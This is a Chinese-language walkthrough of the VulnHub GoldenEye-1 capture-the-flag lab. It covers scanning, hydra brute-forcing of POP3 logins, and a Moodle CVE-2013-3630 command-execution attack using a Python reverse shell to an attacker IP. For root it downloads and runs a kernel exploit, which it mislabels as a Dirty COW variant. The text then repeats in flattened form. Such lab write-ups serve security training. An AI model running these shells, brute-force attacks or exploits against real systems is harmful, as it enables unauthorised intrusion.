VulnHub-GoldenEye-1 靶场渗透测试
字数 2209 2025-08-15 21:33:21

GoldenEye-1 靶场渗透测试教学文档

靶场概述

GoldenEye-1 是一个中级难度的 CTF 靶场,运行在 VirtualBox 上,目标是获取 root 权限并找到 flag.txt 文件。

基本信息

  • 发布日期:2018年5月4日
  • 难度:中级
  • 运行环境:VirtualBox(桥接网络)
  • 目标系统:Ubuntu
  • Web服务器:Apache 2.4.7
  • CMS:Moodle 2.2.3

信息收集阶段

1. 目标识别

使用 nmap 扫描本地网络,识别目标 IP:

nmap -sP 192.168.1.0/24 | grep -B 2 -A 0 "VirtualBox"

或通过开放端口过滤:

nmap -sS -p80 192.168.1.0/24 | grep -B 4 -A 1 "80/tcp open"

发现目标 IP:192.168.1.169

2. 端口扫描

全面扫描目标开放端口:

nmap -sV 192.168.1.169

发现以下开放服务:

  • 25/tcp:SMTP (Postfix)
  • 80/tcp:HTTP (Apache 2.4.7)
  • 55006/tcp:SSL/未知服务
  • 55007/tcp:POP3 (Dovecot)

3. Web 应用信息收集

3.1 初始网站分析

访问 http://192.168.1.169 发现主页面,提示访问 /sev-home/

3.2 登录页面分析

访问 http://192.168.1.169/sev-home/ 需要登录,查看页面源码发现 terminal.js

从 terminal.js 获取信息:

  • 用户名:Boris、Natalya
  • 密码:InvincibleHack3r(通过HTML实体编码解密得到)

登录尝试:

  • 用户名:boris(全小写)
  • 密码:InvincibleHack3r

3.3 POP3 服务利用

根据提示转向POP3服务(端口55007)

收集到的用户名:

  • Natalya
  • Boris

使用 hydra 爆破POP3密码:

hydra 192.168.1.169 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v

获得凭证:

  • natalya:bird
  • boris:secret1!

3.4 邮箱信息收集

使用 nc 连接POP3服务查看邮件:

nc 192.168.1.169 55007

重要发现:

  • 用户名:alec
  • 网站凭证:xenia/RCP90rulez!
  • 内部域名:severnaya-station.com
  • 重要路径:/gnocertdir

3.5 域名解析配置

编辑 /etc/hosts 添加:

192.168.1.169	severnaya-station.com

3.6 访问内部网站

访问 http://severnaya-station.com/gnocertdir

使用凭证 xenia/RCP90rulez! 登录

发现新用户 doak 和 Moodle 2.2.3 CMS 信息

3.7 爆破 doak 的POP3密码

hydra 192.168.1.169 -s 55007 pop3 -l "doak" -P /usr/share/wordlists/fasttrack.txt -v

获得密码:goat

3.8 查看 doak 的邮件

发现新凭证:

  • 用户名:dr_doak
  • 密码:4England!

3.9 深入挖掘

登录 dr_doak 账户,在"My private files"中找到 s3cret.txt,提示:

  • 重要路径:/dir007key/for-007.jpg
  • 使用 strings 或 exiftool 分析图片

图片分析:

strings for-007.jpg

发现 base64 编码:eFdpbnRlcjE5OTV4IQ==
解码得到:xWinter1995x!

3.10 获取管理员权限

使用 admin/xWinter1995x! 登录

漏洞利用阶段

1. Moodle 远程命令执行漏洞 (CVE-2013-3630)

1.1 手工利用

  1. 修改拼写检查设置:

    • 路径:Settings > Site administration > Plugins > Text editors > TinyMCE HTML editor
    • 将 Google Spell 改为 PSpellShell
  2. 设置命令执行路径:

    • 路径:Settings > Site administration > Server > System paths > Path to aspell
    • 输入反弹shell命令:
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
      
  3. 触发执行:

    • 新建博客文章,输入任意文本,点击"Toggle Spellchecker"
  4. 获取交互式shell:

    python -c 'import pty; pty.spawn("/bin/bash")'
    

1.2 Metasploit 利用

使用 Kali 2018.2 的 Metasploit v4.16.48-dev(高版本可能失败)

msf > use exploit/multi/http/moodle_cmd_exec
msf exploit(multi/http/moodle_cmd_exec) > set PASSWORD xWinter1995x!
msf exploit(multi/http/moodle_cmd_exec) > set RHOST severnaya-station.com
msf exploit(multi/http/moodle_cmd_exec) > set TARGETURI /gnocertdir
msf exploit(multi/http/moodle_cmd_exec) > run

权限提升阶段

1. 系统信息收集

whoami  # www-data
uname -a  # Linux ubuntu 3.13.0-32-generic

2. 内核漏洞利用

搜索适用于 Linux 3.13.0 的提权漏洞:

searchsploit Linux ubuntu 3.13.0

发现 37292.c(Dirty COW 变种)

3. 编译和执行EXP

  1. 在攻击机搭建HTTP服务:
python3 -m http.server 8000
  1. 在目标机下载并编译:
cd /tmp
wget http://攻击者IP:8000/37292.c
cc 37292.c -o exp  # 注意将源码中的gcc改为cc
chmod +x exp
./exp
  1. 验证提权:
whoami  # 现在应该是root

获取Flag

根据提示查找flag:

cat /path/to/flag.txt

发现MD5值:568628e0d993b1973adc718237da6e93
解密得到:006

访问路径:/006-final/xvf7-flag/
获取最终flag

关键知识点总结

  1. 信息收集技巧

    • 多角度扫描(IP、端口、服务)
    • 源码分析(HTML注释、JS文件)
    • 图片隐写分析(strings、exiftool)
  2. 凭证获取方法

    • 密码爆破(hydra)
    • 邮箱信息挖掘
    • 编码转换(HTML实体、Base64)
  3. 漏洞利用要点

    • Moodle CVE-2013-3630 需要修改拼写检查设置
    • 反弹shell命令构造
    • 低版本Metasploit更稳定
  4. 提权技巧

    • 内核版本识别
    • Dirty COW 漏洞利用
    • 编译器替代方案(gcc → cc)
  5. 综合技巧

    • 主机文件修改
    • 内部域名发现
    • 信息关联分析
GoldenEye-1 靶场渗透测试教学文档 靶场概述 GoldenEye-1 是一个中级难度的 CTF 靶场,运行在 VirtualBox 上,目标是获取 root 权限并找到 flag.txt 文件。 基本信息 : 发布日期:2018年5月4日 难度:中级 运行环境:VirtualBox(桥接网络) 目标系统:Ubuntu Web服务器:Apache 2.4.7 CMS:Moodle 2.2.3 信息收集阶段 1. 目标识别 使用 nmap 扫描本地网络,识别目标 IP: 或通过开放端口过滤: 发现目标 IP:192.168.1.169 2. 端口扫描 全面扫描目标开放端口: 发现以下开放服务: 25/tcp:SMTP (Postfix) 80/tcp:HTTP (Apache 2.4.7) 55006/tcp:SSL/未知服务 55007/tcp:POP3 (Dovecot) 3. Web 应用信息收集 3.1 初始网站分析 访问 http://192.168.1.169 发现主页面,提示访问 /sev-home/ 3.2 登录页面分析 访问 http://192.168.1.169/sev-home/ 需要登录,查看页面源码发现 terminal.js 从 terminal.js 获取信息: 用户名:Boris、Natalya 密码:InvincibleHack3r(通过HTML实体编码解密得到) 登录尝试: 用户名:boris(全小写) 密码:InvincibleHack3r 3.3 POP3 服务利用 根据提示转向POP3服务(端口55007) 收集到的用户名: Natalya Boris 使用 hydra 爆破POP3密码: 获得凭证: natalya:bird boris:secret1 ! 3.4 邮箱信息收集 使用 nc 连接POP3服务查看邮件: 重要发现: 用户名:alec 网站凭证:xenia/RCP90rulez ! 内部域名:severnaya-station.com 重要路径:/gnocertdir 3.5 域名解析配置 编辑 /etc/hosts 添加: 3.6 访问内部网站 访问 http://severnaya-station.com/gnocertdir 使用凭证 xenia/RCP90rulez ! 登录 发现新用户 doak 和 Moodle 2.2.3 CMS 信息 3.7 爆破 doak 的POP3密码 获得密码:goat 3.8 查看 doak 的邮件 发现新凭证: 用户名:dr_ doak 密码:4England ! 3.9 深入挖掘 登录 dr_ doak 账户,在"My private files"中找到 s3cret.txt,提示: 重要路径:/dir007key/for-007.jpg 使用 strings 或 exiftool 分析图片 图片分析: 发现 base64 编码:eFdpbnRlcjE5OTV4IQ== 解码得到:xWinter1995x ! 3.10 获取管理员权限 使用 admin/xWinter1995x ! 登录 漏洞利用阶段 1. Moodle 远程命令执行漏洞 (CVE-2013-3630) 1.1 手工利用 修改拼写检查设置: 路径:Settings > Site administration > Plugins > Text editors > TinyMCE HTML editor 将 Google Spell 改为 PSpellShell 设置命令执行路径: 路径:Settings > Site administration > Server > System paths > Path to aspell 输入反弹shell命令: 触发执行: 新建博客文章,输入任意文本,点击"Toggle Spellchecker" 获取交互式shell: 1.2 Metasploit 利用 使用 Kali 2018.2 的 Metasploit v4.16.48-dev(高版本可能失败) 权限提升阶段 1. 系统信息收集 2. 内核漏洞利用 搜索适用于 Linux 3.13.0 的提权漏洞: 发现 37292.c(Dirty COW 变种) 3. 编译和执行EXP 在攻击机搭建HTTP服务: 在目标机下载并编译: 验证提权: 获取Flag 根据提示查找flag: 发现MD5值:568628e0d993b1973adc718237da6e93 解密得到:006 访问路径:/006-final/xvf7-flag/ 获取最终flag 关键知识点总结 信息收集技巧 : 多角度扫描(IP、端口、服务) 源码分析(HTML注释、JS文件) 图片隐写分析(strings、exiftool) 凭证获取方法 : 密码爆破(hydra) 邮箱信息挖掘 编码转换(HTML实体、Base64) 漏洞利用要点 : Moodle CVE-2013-3630 需要修改拼写检查设置 反弹shell命令构造 低版本Metasploit更稳定 提权技巧 : 内核版本识别 Dirty COW 漏洞利用 编译器替代方案(gcc → cc) 综合技巧 : 主机文件修改 内部域名发现 信息关联分析